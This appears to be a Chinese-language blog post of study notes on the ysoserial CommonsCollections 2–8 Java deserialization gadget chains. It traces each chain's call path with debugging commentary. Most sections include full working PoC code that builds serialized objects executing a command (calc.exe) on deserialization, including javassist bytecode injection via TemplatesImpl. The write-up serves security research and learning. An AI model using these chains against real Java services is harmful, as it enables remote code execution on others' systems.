ysoserial-CommonsCollections2,3,4,5,6,7,8 利用链分析

CC2

commons-collections4.0

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

PriorityQueue#readObject
在这里插入图片描述

只关心输入,反序列化后被存入queue,进入heapify方法

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

进入siftDown,此时第二个参数也就是queue[i]可控

    private void siftDown(int k, E x) { //x可控
        if (comparator != null)
            siftDownUsingComparator(k, x); //跟进siftDownUsingComparator
        else
            siftDownComparable(k, x);
    }

在这里插入图片描述
其中comparator参数定义如下,可以通过反射来赋值

private final Comparator<? super E> comparator;

到这里我们已经到了利用链的这一步

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare() //这里
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

所以我们令PriorityQueue#ComparatorTransformingComparator

TransformingComparator#compare()

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

看到transform了,跟cc1一样,transformer也可控

private final Transformer<? super I, ? extends O> transformer;

可根据cc1写出poc

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        //org.apache.commons.collections4.comparators
        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add(1);
        priorityQueue.add(1);
        Field field = priorityQueue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,transformingComparator);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        //System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

这里priorityQueue add两个是因为heapify中(size >>> 1) - 1 >=0 // 即 size>= 2

ysoserial的方法

首先需要了解一下javassist

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

public class test {
    public static void main(String[] args) throws Exception {
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}"; //payload
        ClassPool pool = ClassPool.getDefault(); //返回默认的类池
        //System.out.println(pool);
        CtClass clazz = pool.get(test.class.getName()); //从类池中获取test类
        clazz.setName("demo"); //名称为demo
        clazz.makeClassInitializer().insertAfter(code); //makeClassInitializer为静态构造函数,即向clazz的static块中插入payload
        //触发
        byte[] payload = clazz.toBytecode();
        DefiningClassLoader loader = new DefiningClassLoader(); //Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。
        Class cls = loader.defineClass("demo",payload);//将byte数组还原给demo
        cls.newInstance();//实例化,触发static
    }
}

https://blog.0kami.cn/2019/10/28/java/study-java-deserialized-commonscollections3-3/

看一下ysoserial的payload

在这里插入图片描述

首先用createTemplatesImpl()生成一个Object

在这里插入图片描述

120行中向clazz的static块插入cmd,130行将clazz转换为字节码给templates,最后返回的Object templates就相当于一个恶意类

后面操作就是将上面说的利用链连起来,理一下步骤

首先触发PriorityQueue#readObject进入PriorityQueue#heapify()

在这里插入图片描述

注意这里的queue属性已经在上面被赋值成了templates,进入siftDown

在这里插入图片描述

进入siftDownUsingComparator

在这里插入图片描述

因为上面comparator属性设置的是TransformingComparator的实例,所以触发TransformingComparator#compare()
在这里插入图片描述
并且TransformingComparator#transformerInvokerTransformer的实例
在这里插入图片描述

触发InvokerTransformer#transform

在这里插入图片描述

接着触发TemplatesImpl#newTransformer

在这里插入图片描述

TemplatesImpl#getTransletInstance

在这里插入图片描述

TemplatesImpl#defineTransletClasses

在这里插入图片描述

这里的bytecode是我们的字节码,398行创建类加载器loader

在这里插入图片描述

414行将字节码转换成class给_class,TemplatesImpl#defineTransletClasses方法执行结束,回到getTransletInstance,455行对_class实例化,执行其中的static块

在这里插入图片描述

CC3

commons-collections3.1

ysoserial中这一段第一个ConstantTransformer的参数变成了TrAXFilter,而第二个transformer从InvokerTransformer变成了InstantiateTransformer

在这里插入图片描述

先看一下InstantiateTransformer#transform()

在这里插入图片描述

这里对参数做了一个实例化

简单来看,该函数对输入的input(这里就是TrAXFilter.class)做实例化的操作。这里看起来,其实有点像php中找对应的__constructs,在Java里我们就去找构造函数里做了危险操作的class。

TrAXFilter的构造调用了newTransformer,这里就跟cc2连上了

在这里插入图片描述

所以InstantiateTransformer的第二个参数应该是templatesImpl,也就是包含字节码的实例

调用链:

HashMap#readObject()->HashMap#Hash()->
TiedMapEntry#HashCode()->TiedMapEntry#getValue()->
LazyMap#get()->各种transformer()...->实例化还原字节码

poc

//jdk1.8
public class test {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        setField(templates,"_tfactory",TransformerFactoryImpl.class.newInstance());
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.remove("keykey");
        setField(transformerChain,"iTransformers",transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

低版本用的是AnnotationInvocationHandler因为要用到invoke,所以需要代理

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
...
oos.writeObject(handler);

CC4

4是2的前半加3的后半,用一个师傅的调用链总结

https://blog.0kami.cn/2019/11/05/java/study-java-deserialized-commonscollections4/

CommonsCollection2:
PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
    -> TransformingComparator.compare()
    -> InvokerTransformer.transform()
    -> TemplatesImpl.newTransformer()
    ... templates Gadgets ...
    -> Runtime.getRuntime().exec()

CommonsCollection4:
PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
    -> TransformingComparator.compare()
    -> ChainedTransformer.transform()
    -> InstantiateTransformer.transform()
    -> TemplatesImpl.newTransformer()
    ... templates Gadgets ...
    -> Runtime.getRuntime().exec()

融合一下

public class test {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        setField(templates,"_tfactory",TransformerFactoryImpl.class.newInstance());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add(1);
        priorityQueue.add(1);
        Field field = priorityQueue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,transformingComparator);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

CC5

cc5用到了之前分析过的TiedMapEntry

之前的写的调用链()

HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()

cc5的

BadAttributeValueExpException.readObject()->valObj.toString()->TiedMapEntry.getValue->LazyMap.get()

在这里插入图片描述

因为这条利用链关键是触发TiedMapEntry.toString(),而debug的时候调试器会在下面调用一些toString之类的方法,所以就会造成调试过程中莫名其妙弹处计算器的情况

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformersChain = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,transformersChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        setField(poc,"val",tiedMapEntry);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(poc);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

CC6

调用链

HashSet.readObject->HashMap.put()->HashMap.hash(key)->TiedMapEntry.hashCode()->LazyMap.get()

跟之前cc2中分析的差不多,poc

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformersChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformersChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey1");//把outerMap放入TiedMapEntry
        HashSet hashSet = new HashSet();
        hashSet.add(tme);
        outerMap.remove("keykey1");
        setField(transformersChain,"iTransformers",transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

CC7

Hashtable.readObject()->Hashtable.reconstitutionPut()->AbstractMapDecorator.equals()->AbstractMap.equals()->
LazyMap.get

Hashtable.readObject()#1215

在这里插入图片描述

Hashtable.reconstitutionPut()#1241

这里要进入for循环需要e不为空,所以在readObject()里的for循环要第二次调用reconstitutionPut(),e才不为空,而此时key为lazyMap实例,并且lazyMap继承了AbstractMapDecorator

在这里插入图片描述
AbstractMapDecorator.equals()->AbstractMap.equals()#495

m是laztMap实例,调用lazyMap.get()

在这里插入图片描述
poc

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        setField(transformerChain,"iTransformers",transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

调试分析

首先这个for循环的elements是放入hashtable的个数,这里是2,第一次进入for循环,key是yy,value是1
在这里插入图片描述
到这里,e=table[index]是null,直接跳过for循环
在这里插入图片描述

然后这一步赋值给table[index]

在这里插入图片描述
下一层for循环,此时key是zZ,value是1

在这里插入图片描述
由于上一轮的赋值,此时e不为空

在这里插入图片描述

然后进入e.hash==hash的判断,由于yy和zZ的hashcode相同所以成功调用equals

在这里插入图片描述

然后还有一个问题是为什么lazymap2会多出来一个key为yy,断点打到hashtable.put(lazyMap2, 1);

在这里插入图片描述

在hashtable.put方法中有验证key是否重复这行,此时entry为yy的map(因为要挨个比较是不是跟zZ重复,并且当前只有一个hashmap),参数key是zZ

在这里插入图片描述

继续到AbstractMap.equals(),这里i先得到所有hashmap,第一个自然是yy了,

在这里插入图片描述

所以在492行中m.get(key),m是lazymap2,key是yy

在这里插入图片描述

之后到LazyMap.get,因为此时lazymap2中并没有yy这一key,所以在lazymap2中增加了一个yy

在这里插入图片描述
return之后回到hashtable的这一循环中,可以发现lazymap2的key变成了两个
在这里插入图片描述
所以需要手动lazymap2.remove("yy"),不删会影响后续逻辑判断

CC8

    Gadget chain:
        org.apache.commons.collections4.bag.TreeBag.readObject
        org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
        java.util.TreeMap.put
        java.util.TreeMap.compare
        org.apache.commons.collections4.comparators.TransformingComparator.compare
        org.apache.commons.collections4.functors.InvokerTransformer.transform
        java.lang.reflect.Method.invoke
        sun.reflect.DelegatingMethodAccessorImpl.invoke
        sun.reflect.NativeMethodAccessorImpl.invoke
        sun.reflect.NativeMethodAccessorImpl.invoke0
        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
            ... (TemplatesImpl gadget)
        java.lang.Runtime.exec

TreeBag.readObject()调用父类方法

在这里插入图片描述
AbstractMapBag.doReadObject()

map类型为TreeMap,524调用put

在这里插入图片描述

TreeMap.put,t为null则调用compare

在这里插入图片描述

TreeMap.compare,令compare为TransformingComparator,接上了cc2
在这里插入图片描述

poc

public class test {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comp = new TransformingComparator(transformer);
        TreeBag tree = new TreeBag(comp);
        tree.add(templates);
        setField(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(tree);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

调试

首先TreeBag.readObject

在这里插入图片描述

调用父类doReadObject,这里的参数首先从反序列化数据中读出,然后当作构造参数生成一个TreeMap

在这里插入图片描述

父类AbstractMapBag.doReadObject

这里的map是刚刚的TreeMap实例,并且obj是TemplateImpl实例

在这里插入图片描述

TreeMap.put

t=null进入if,key是是TemplateImpl实例

在这里插入图片描述

TreeMap.compare

因为comparator在TreeMap初始化时被赋值为TransformingComparator实例,所以调用TransformingComparator.compare()

在这里插入图片描述

invokerTransformer.transform中反射调用TeamplateImpl.newTransformer,后面就一样了,还原字节码

在这里插入图片描述

总结

commons-collections3.1:1,3,5,6,7

commons-collections4.0:2,4,8

java水平不高,欢迎指错QAQ

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇